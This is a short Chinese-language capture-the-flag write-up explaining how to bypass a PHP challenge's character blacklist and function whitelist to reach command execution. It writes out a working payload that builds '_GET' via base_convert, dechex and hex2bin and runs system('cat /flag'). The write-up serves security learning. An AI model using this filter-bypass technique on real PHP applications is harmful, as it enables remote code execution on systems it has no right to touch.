打开靶机
直接给了源码,刚开始没啥思路,看了wp,大致懂了。先介绍一个概念,在PHP中可以把函数名赋给变量,然后通过变量调用函数,比如下面的代码会执行system('ls');
php
我想执行system('cat /flag');
那就应该是如下语句
php
1?c=$_GET[a]($_GET[b])&a=system&b=cat /flag
但是源码限制了许多东西:
1.payload长度不能超过80
2.payload中不能包含’ ‘, ‘\t’, ‘\r’, ‘\n’,’’’, ‘"’, ‘`’, ‘[’, ‘]’ 这些字符
3.payload中不能有不是$whitelist白名单里面的单词出现,比如
abs(1)能过 1abs()能过 absa()不能过 abs(a)不能过 abs()a不能过
这里看了wp的绕过方法,括号被禁用我们可以用花括号代替{},要构造的字符串为_GET,PHP中有将16进制转成字符串的函数hex2bin,那么hex2bin又怎么生成呢,这时就需要我们的base_convert函数了,36进制也就base36中有字母数字正好可以满足。所以 base_convert(37907361743,10,36)=hex2bin
。因为我们是要得到_GET所以就得用到另外一个函数dechex将GET的10进制转为16进制再通过hex2bin转换为字符串
所以\_GET=base_convert(37907361743,10,36)(dechex(1598506324));
payload:
php
1c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
如图,别忘了?